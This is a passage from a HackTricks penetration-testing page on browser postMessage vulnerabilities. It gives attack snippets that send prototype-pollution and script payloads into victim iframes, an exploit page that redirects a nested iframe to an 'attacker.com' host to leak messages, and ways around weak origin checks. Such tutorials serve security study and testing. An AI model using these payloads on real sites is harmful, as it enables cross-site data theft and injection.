.. | ||
blocking-main-page-to-steal-postmessage.md | ||
bypassing-sop-with-iframes-1.md | ||
bypassing-sop-with-iframes-2.md | ||
README.md | ||
steal-postmessage-modifying-iframe-location.md |
PostMessage Vulnerabilities
PostMessage Vulnerabilities
Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!
Other ways to support HackTricks:
- If you want to see your company advertised in HackTricks or download HackTricks in PDF Check the SUBSCRIPTION PLANS!
- Get the official PEASS & HackTricks swag
- Discover The PEASS Family, our collection of exclusive NFTs
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @carlospolopm.
- Share your hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Send PostMessage
PostMessage uses the following function to send a message:
targetWindow.postMessage(message, targetOrigin, [transfer]);
# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">
# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')
# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
Note that targetOrigin can be a '*' or an URL like https://company.com.
In the second scenario, the message can only be sent to that domain (even if the origin of the window object is different).
If the wildcard is used, messages could be sent to any domain, and will be sent to the origin of the Window object.
Attacking iframe & wildcard in targetOrigin
As explained in this report if you find a page that can be iframed (no X-Frame-Header
protection) and that is sending sensitive message via postMessage using a wildcard (*), you can modify the origin of the iframe and leak the sensitive message to a domain controlled by you.
Note that if the page can be iframed but the targetOrigin is set to a URL and not to a wildcard, this trick won't work.
<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s
//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>
addEventListener exploitation
addEventListener
is the function used by JS to declare the function that is expecting postMessages
.
A code similar to the following one will be used:
window.addEventListener("message", (event) => {
if (event.origin !== "http://example.org:8080")
return;
// ...
}, false);
Note in this case how the first thing that the code is doing is checking the origin. This is terribly important mainly if the page is going to do anything sensitive with the received information (like changing a password). If it doesn't check the origin, attackers can make victims send arbitrary data to this endpoints and change the victims passwords (in this example).
Enumeration
In order to find event listeners in the current page you can:
- Search the JS code for
window.addEventListener
and$(window).on
(JQuery version) - Execute in the developer tools console:
getEventListeners(window)
- Go to Elements --> Event Listeners in the developer tools of the browser
- Use a browser extension like https://github.com/benso-io/posta or https://github.com/fransr/postMessage-tracker. This browser extensions will intercept all the messages and show them to you.
Origin check bypasses
-
event.isTrusted
attribute is considered secure as it returnsTrue
only for events that are generated by genuine user actions. Though it's challenging to bypass if implemented correctly, its significance in security checks is notable. -
The use of
indexOf()
for origin validation in PostMessage events may be susceptible to bypassing. An example illustrating this vulnerability is:("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")
-
The
search()
method fromString.prototype.search()
is intended for regular expressions, not strings. Passing anything other than a regexp leads to implicit conversion to regex, making the method potentially insecure. This is because in regex, a dot (.) acts as a wildcard, allowing for bypassing of validation with specially crafted domains. For instance:"https://www.safedomain.com".search("www.s.fedomain.com")
-
The
match()
function, similar tosearch()
, processes regex. If the regex is improperly structured, it might be prone to bypassing. -
The
escapeHtml
function is intended to sanitize inputs by escaping characters. However, it does not create a new escaped object but overwrites the properties of the existing object. This behavior can be exploited. Particularly, if an object can be manipulated such that its controlled property does not acknowledgehasOwnProperty
, theescapeHtml
won't perform as expected. This is demonstrated in the examples below:-
Expected Failure:
result = u({ message: "'\"<b>\\" }); result.message // "'"<b>\"
-
Bypassing the escape:
result = u(new Error("'\"<b>\\")); result.message; // "'"<b>\"
In the context of this vulnerability, the
File
object is notably exploitable due to its read-onlyname
property. This property, when used in templates, is not sanitized by theescapeHtml
function, leading to potential security risks. -
-
The
document.domain
property in JavaScript can be set by a script to shorten the domain, allowing for more relaxed same-origin policy enforcement within the same parent domain.
e.origin == window.origin bypass
When embedding a web page within a sandboxed iframe using %%%